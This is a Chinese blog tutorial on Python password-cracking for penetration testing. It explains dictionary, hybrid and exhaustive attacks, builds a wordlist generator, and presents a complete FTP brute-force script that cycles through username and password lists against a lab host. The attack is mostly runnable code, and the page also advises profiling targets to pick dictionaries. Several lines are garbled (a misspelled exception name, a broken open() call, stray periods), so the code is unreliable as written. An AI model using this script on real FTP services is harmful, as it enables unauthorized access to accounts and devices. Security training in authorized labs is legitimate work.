Python渗透测试之身份认证攻击

Python渗透测试之身份认证攻击,第1张

  • 目前最为常见的 身份验证模式 采用的仍然是“用户名+密码”的方式,用户自行设定密码,在登录时如果输入正确的密码,计算机就会认为 *** 作者是合法用户。
  • 但是这种认证方式的缺陷也很明显,如何保证密码不被泄露以及不被破解已经成为网络安全的最大问题之一。
  • 本章中将介绍基于Python实现的密码破解。密码破解是指利用各种手段获得网络、系统或资源密码的过程。
简单网络服务认证的攻击
  • 网络上很多常见的应用都采用了密码认证的模式,例如 FTP、Telnet、SSH等,这些应用被广泛地应用在各种网络设备上,如果这些认证模式出现了问题,那就意味着网络中的大量设备将会沦陷。遗憾的是,目前确实有很多网络的设备因为密码设置不够强壮已经遭到入侵。
  • 针对这些简单的网络服务认证,可以采用一种“暴力破解”的方法。这种方法的思路很简单,就是把所有可能的密码都尝试一遍,通常可以将这些密码保存为一个 字典文件。
  • 一般有如下三种思路:
    (1)纯字典攻击:这种思路最为简单,攻击者只需要利用攻击工具将用户名和字典文件中的密码组合起来,一个个地进行尝试即可。
    破解成功的概率与选用的字典有很大的关系,因为目标用户通常不会选用毫无意义的字符组合作为密码,所以对目标用户有一定的了解可以帮助更好地选择字典。
    大多数字典文件都是以英文单词为主,这些字典文件更适用于破解以英语为第一语言用户的密码,对于破解母语非英语的用户设置的密码效果并不好。
    (2)混合攻击:现在的各种应用对密码的强壮度都有了限制,例如,在注册一些应用的时候,通常都不允许使用“123456”或者“aaaaaaa”这种单纯的数字和字母的组合。例如,使用某人的名字字符+数字的加上生日就是一种很常见的密码(很多人都以自己孩子的英文名字加出生日期作为密码),如果仅使用一些常见的英文单词作为字典的内容,显然具有一定的局限性。而混合攻击则是依靠一定的算法对字典文件中的单词进行处理之后再使用。一个最简单的算法就是在这些单词前面或者后面添加一些常见的数字,例如一个单词“test”,经过算法处理之后就会变成“test1”“test2”…“test1981”“test19840123”等。
    (3)完全暴力攻击:这是一种最为粗暴的攻击方式,实际上这种方式并不需要字典,而是由攻击工具将所有的密码穷举出来,这种攻击方式通常需要很长的时间,也是最为不可行的一种方式。但是在一些早期的系统中,都采用了6位长度的纯数字密码,这种方法则是非常有效的。
破解密码字典

常见的字典文件一般是txt或者dic格式:一个常见的破解字典文件。

  • 在Kali Linux 系统中词典文件的来源一共有以下三个。
    (1)使用字典生成工具来制造自己需要的字典,当需要字典文件,手头又没有合适的字典文件时,就可以考虑使用工具来生成所需要的字典文件。
    (2)使用Kali Linux中自带的字典,Kali Linux中将所有的字典都保存在/usr/share/wordlists/目录下
    (3)从互联网上下载热门的字典:可以访问https://wiki.skullsecurity.org/Passwords查看最新的字典文件

  • 生成字典需要至少指定如下两项。
    (1)字典中包含词汇(也就是密码)的长度。
    (2)字典中包含词汇所使用的字符。要生成密码包含的字符集(小写字符、大写字符、数字、符号),这个选项是可选的,如果不写这个选项,将使用默认字符集(默认为小写字符)。
    长度>8 大写字母 小写字母 数字 特殊字符 密码的更换周期

使用Python来编写一个生成字典的程序,
  • 在这个程序中需要使用到一个新的模块:itertools,这是一个强大的内置模块。

  • 首先介绍一下itertools,在这个模块中提供了很多函数,其中最为基础的是三个无穷循环器。
    (1)count()函数:这个函数的作用是产生递增的序列,例如count(1,5),生成从1开始的循环器,每次增加5,即1,6,11,16,21,26,…
    (2)cycle()函数:这个函数的作用是重复序列中的元素,例如cycle(‘hello’),将序列中的元素重复,即h,e,l,l,o,h,e,l,l,o,h,…
    (3)repeat()函数:这个函数的作用是重复元素,构成无穷循环器,例如Repeat(100),即100,100,100,100,…。

  • 除了这些基本的函数之外,还有一些用来实现循环器的组合 *** 作的函数,这些函数适用于生成字典文件。
    product()函数:它可以用来获得多个循环器的笛卡儿积,例如product(‘xyz’, [0, 1]),得到的结果就是x0,y0,z0,x1,y1,z1。
    permutations('abcd', 2) #:从’abcd’中挑选两个元素,例如ab,bc,…,并将所有结果排序,返回为新的循环器。这些元素中的组合是有顺序的,同时生成cd和dc。
    combinations('abc', 2) #:从’abcd’中挑选两个元素,例如ab,bc,…,将所有结果排序,返回为新的循环器,这些元素中的组合是没有顺序的,例如c和d只能生成cd。

一个简单的字典文件生成过程

第一步:导入itertools库。

import itertools

第二步:指定生成字典的字符,这里使用所有英文字符和数字(但是没有考虑大小写和特殊字符)。

words = "1234568790abcdefghijklmnopqrstuvwxyz"

第三步:使用itertools中提供的循环器来生成字典文件
这里可以根据不同的需求来选择,在这里选择permutations,既考虑选项,又考虑顺序。这里考虑到程序运行的速度,仅出于演示的目的,所以选择了生成两位的密码。在真实情景中往往需要生成6位以上的密码,但这需要很长的时间。

temp =itertools.permutations(words,2)

第四步:打开一个用于保存结果的记事本文件。
一个简单的字典文件生成过程

passwords = open("dic.txt","a")

第五步:使用一个循环将生成的密码写入到一个记事本文件中。

for i in temp:         
	passwords.write("".join(i))         	
	passwords.write("".join("\n"))

完整的程序如下所示。

  • 这里有一个技巧,如果已经获悉目标的密码为几个特定的字符,例如“q”“w”“e”等,那么可以由用户输入这几个字符。

  • 除了自己生成字典之外,建议到互联网上下载一些优秀的字典文件。https://wiki.skullsecurity.org/Passwords中提供了一些相当有效的字典

  • 在应用这些字典之前,最好也要收集到关于目标足够多的信息,例如,如果目标密码是由一个不懂外语的中国人设置的,那么显然不应该再使用那些由英文单词组成的词典。

  • 现在手里已经有了可以使用的字典文件。这些文件无论大小,它们的特点都是一行中有一个词汇。接下来编写一个用来读取字典文件的程序。把刚才下载的文件放置于root目录下,开始编写这个程序。
    首先使用open函数打开这个文件,并将这个文件传递给一个变量fp。

     fp = open("/root/500-worst-passwords.txt","r")
    

    其次,按行为单位使用循环来读取文件中的内容。

    while 1:     
         line = fp.readline()     
         passwd=line.strip('\n')     
    .    print(passwd)
    

    可以将这个功能封装成为一个函数,使用时只需要将读取到的每一个记录作为参数传递给破解用的函数即可,读取字典文件的函数名为GetPassword()。 遍历 字典 的每一个 密码

FTP暴力破解模块
  • FTP是File Transfer Protocol(文件传输协议)的简称,中文简称为“文传协议”,用于在Internet上控制文件的双向传输。

  • 同时,它也是一个应用程序(Application)。使用FTP时必须首先登录,在远程主机上获得相应的权限以后,方可下载或上传文件。也就是说,要想同哪一台计算机传送文件,就必须具有哪一台计算机的适当授权。换言之,除非有用户ID和口令,否则便无法传送文件。

  • 不过现在大部分FTP都提供了匿名登录的机制,这种FTP可以使用用户名“anonymous”和任意的密码来登录。考虑的主要是如何去对那些设置了用户名和密码限制的FTP进行破解。

  • 在开始破解之前,先来了解一下FTP的工作流程。
    (1)客户端去连接目标FTP服务器的21号端口,建立命令通道。服务器会向客户端发送“220 Free Float Ftp Server(Version 1.00)”回应,括号内的信息会因为服务器不同而有不同的显示。
    (2)客户端向服务器发送“USER 用户名\r\n”,服务器会返回“331 Please specify the password .\r\n”。
    (3)客户端向服务器发送“PASS密码\r\n”,如果密码认证成功服务器会返回“230 User Logged in.\r\n”,如果密码认证错误服务器会返回“200 Switching to Binary mode.\r\n”。
    这里仅介绍了FTP登录过程的前面三个步骤,后面的步骤由于与破解模块的编写联系不大,这里就不再详细介绍。

  • Python中默认就提供了一个专门用来对FTP进行 *** 作的ftplib模块,这个模块很精简,里面提供了一些用来实现登录、上传和下载的函数。
    (1)ftp.connect(“IP”, “port”) #连接的FTP Server和端口。
    (2)ftp.login(“user”, “password”) #连接的用户名,密码。
    (3)ftp.retrlines(command[, callback]) #使用文本传输模式返回在服务器上执行命令的结果。

  • 下面使用ftplib函数按照登录流程进行 *** 作。

#首先,导入需要使用的ftplib库文件。
import ftplib
#其次,使用ftplib创建一个FTP对象。
>>> ftp = ftplib.FTP("192.168.40.253")
#调用这个对象中的connect()函数去连接目标的21号端口。
>>> ftp.connect("192.168.40.253",21,timeout=10)

执行的结果如图

调用这个对象中的login()函数使用admin作为用户名,fucker作为密码来登录。

ftp.login("admin","fucker")

如果登录成功,就会得到一个230回应

然后可以使用LIST命令(这是FTP本身的命令)来展示FTP服务器中的文件。

ftp.retrlines('LIST')


最后,可以使用quit()函数断开与FTP服务器的连接ftp.quit()

  • 接下来编写一个使用指定用户名和密码来登录FTP服务器的Python程序。
#指定用户名和密码来登录FTP服务器的Python程序。
def Login(FTPServer,userName,passwords):
	try :
		f = ftplib.FTP(FTPServer)
		f.connect(FTPServer,21,timeout = 10)
		f.login(userName,passwords)
		f.retrlines("LIST")
		f.quit()
		print("We get right password!")
	except ftplib.all_ errors:
		pass
  • 下面将这两个程序整合成一个完整的破解程序。这里需要同时考虑用户名和密码,但是,如果在用户名和密码都不知道的情况下,使用暴力破解的难度会变得非常大。
    在目标主机192.168.76.137上建立一个FTP服务器

接下来编写一个可以对这个FTP服务进行暴力破解的程序。
为这个程序指定三个参数
192.168.76.137
/root/name.txt / # 第一个字典:用户名的字典
root/passwd.txt, # 密码的字典

import ftplib
import sys,time
#判断输入参数个数是否正确

if len(sys.argv) != 4:
	print("参数错误:正确形式为: python pojie.py ip地址 用户字典路径密码字典路径")
	sys.exit()
FTPServer = sys.argv[1]
userDict = sys.argv[2]
passDict = sys.argv[3]
#定义登录FTP的函数
def login(FTPServer, userName, password):
	try:
		f = ftplib.FTP(FTPServer)
		f.connect(FTPServer, 21, timeout=10.0)
		f.login(userName,password)
		f.retrlines("LIST")
		f.quit()
		print(f"用户名是{userName},密码是{password}")
	except ftplib.a1l_ errors:
		pass
#读取两个字典,遍历每个字典的用户名和密码值,调用登录FTP函数,将遍历到的内容传递给函数,实现登录服务器
with open(userDict,‘') as userfile:
	for user in userfile.readlines():
		with open(passDict, 'r') as passFile:
			for passwd in passFile. readlines(): .
				username = user. strip('\n' )
				pawd = passwd.strip('\n')
				print(username)
				print(pawd)
				time.sleep(0.5)
				login(FTPServer, username, pawd)

欢迎分享,转载请注明来源:内存溢出

原文地址: http://outofmemory.cn/langs/791368.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022-05-05
下一篇 2022-05-05

发表评论

登录后才能评论

评论列表(0条)

保存